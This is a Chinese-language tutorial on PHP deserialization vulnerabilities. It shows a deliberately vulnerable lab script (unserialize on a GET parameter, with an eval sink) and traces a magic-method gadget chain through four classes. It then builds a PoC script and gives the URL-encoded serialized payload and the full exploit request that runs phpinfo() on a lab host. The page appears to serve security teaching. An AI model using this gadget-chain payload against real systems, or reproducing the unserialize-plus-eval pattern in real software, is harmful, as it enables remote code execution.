当前位置: 首页 > news >正文

反序列化漏洞(2), 分析调用链, 编写POC

反序列化漏洞(2), 反序列化调用链分析

一, 编写php漏洞脚本

http://192.168.112.200/security/unserial/ustest.php

<?php
class Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}class Monkey{public $head;public $hand;public function __construct($here="cmd"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}if(isset($_GET['cmd'])){@unserialize($_GET['cmd']);
}
else{$a = new Monkey;echo "Hello!";
}
?>

二. 代码审计, 编写POC脚本

1. 找到执行终点.

eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.

2. 找到执行起点.

通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.
只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.

3. 分析出一条可以从起点到终点的调用链

Monkey 类的 __wakeup() 中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head),
preg_match() 函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head 也必须是字符串.

我们看到 $this->head 的值最开始是来源于构造方法 __construct($here="cmd"), 默认值是"cmd",
如果程序走到 preg_match(), $this->head 作为参数传入时是一个字符串, 那么 __wakeup() 中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger类的boss()方法, 所以 $this->head 这里考虑一下类型转换的情况.

我们再观察其他能够自动执行的魔术方法, 发现 __toString() 函数, 这个函数当对象转换为字符串时会自动调用.

那么我们再考虑 $this-head, 如果它原本是一个其他类的对象, 在传入 preg_match() 方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString() 方法了.

我们看到 __toString()TigerElephant 两个类中都有.
先看 Tiger 类, 它的 __toString() 只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.

再看 Elephant 类, 它的 __toString () 返回 $this->nice->nose;, 那么我们如果让$this->head = new Elephant()就可以从Monkey对象自动走到这里.

根据上面的分析, 构造一下调用链的POC脚本:

class Elephant{public $nose;public $nice;
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}

继续分析$this->nice->nose;, 由 $this->nice 对象读取 nose 属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.

发现在 Lion 类中有一个__GET()方法, 该方法在读取不存在的属性时被调用.

那么如果我们让$this->nice是一个Lion类的对象, 而Lion类中并没有 nose 属性, 所以会自动触发 __GET() 方法, 我们继续编写POC.

class Lion{public $tail;
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}

继续分析 __GET() 方法, 它里面有两句代码:

$function = $this->tail;
return $function();

我们知道在php中, 对象可以用函数形式来调用, 比如

$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();

当对象以函数形式调用时, 会自动触发 __invoke() 方法.

那么回来观察 __GET() 方法, 如果 $this->tail 是一个对象的话, return $function(); 就是以函数形式调用对象, 它可以触发 __invoke() .

接下来我们观察一下其他类有没有 __invoke()方法, 发现在 Tiger 类中有, 那么我们让 Lion 走到 Tiger , 继续修改POC:

class Tiger{public $string;protected $var;}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}

继续分析 Tiger 中的代码, 发现__invoke()在调用 $this->boss($this->var);, 而boss()函数就是我们的终点, 参数就是属性var.

所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:

<?php
class Tiger{public $string;protected $var = "phpinfo();"; // 执行phpinfo()}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>

poc执行结果:

O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

三, 漏洞利用

http://192.168.112.200/security/unserial/ustest.php提交GET请求.

http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

在页面上会看到后端执行了phpinfo();.

http://www.lryc.cn/news/234326.html

相关文章:

  • Pytorch reshape用法
  • Latex 辅助写作工具
  • frp新版本frp_0.52.3设置
  • 100G.的DDoS高防够用吗?
  • 【django+vue】项目搭建、解决跨域访问
  • 【数据库】数据库连接池导致系统吞吐量上不去-复盘
  • 华纳云:租用的服务器连接超时怎么办?
  • 基于MS16F3211芯片的触摸控制灯的状态变化和亮度控制(11.17,PWM)
  • 编译buildroot出错,这个怎么解决呢,感谢
  • 【0基础学Java第十课】-- 认识String类
  • lxml基本使用
  • 【数据结构初阶】链表OJ
  • 【Vue渲染】 条件渲染 | v-if | v-show | 列表渲染 | v-for
  • 开源网安解决方案荣获四川数实融合创新实践优秀案例
  • debian/ubuntu/linux如何快速安装vscode
  • Python3语法总结-数据转换②
  • 【火炬之光-魔灵装备】
  • javascript选择器的封装,只需要写元素名或css类及id都可以选择到元素
  • 机器学习第7天:逻辑回归
  • 努力奋斗,遇上对的人
  • 基于单片机音乐弹奏播放DS1302万年历显示及源程序
  • ceph学习笔记
  • SQLSERVER 遍历循环的两种方式很详细有源码(2)
  • flutter背景图片设置
  • 【运维 监控】Grafana + Prometheus,监控Linux
  • Sentinel底层原理(下)
  • 竞赛选题 疫情数据分析与3D可视化 - python 大数据
  • macos 配置ndk环境
  • 【linux】进行间通信——共享内存+消息队列+信号量
  • PlantUML基础使用教程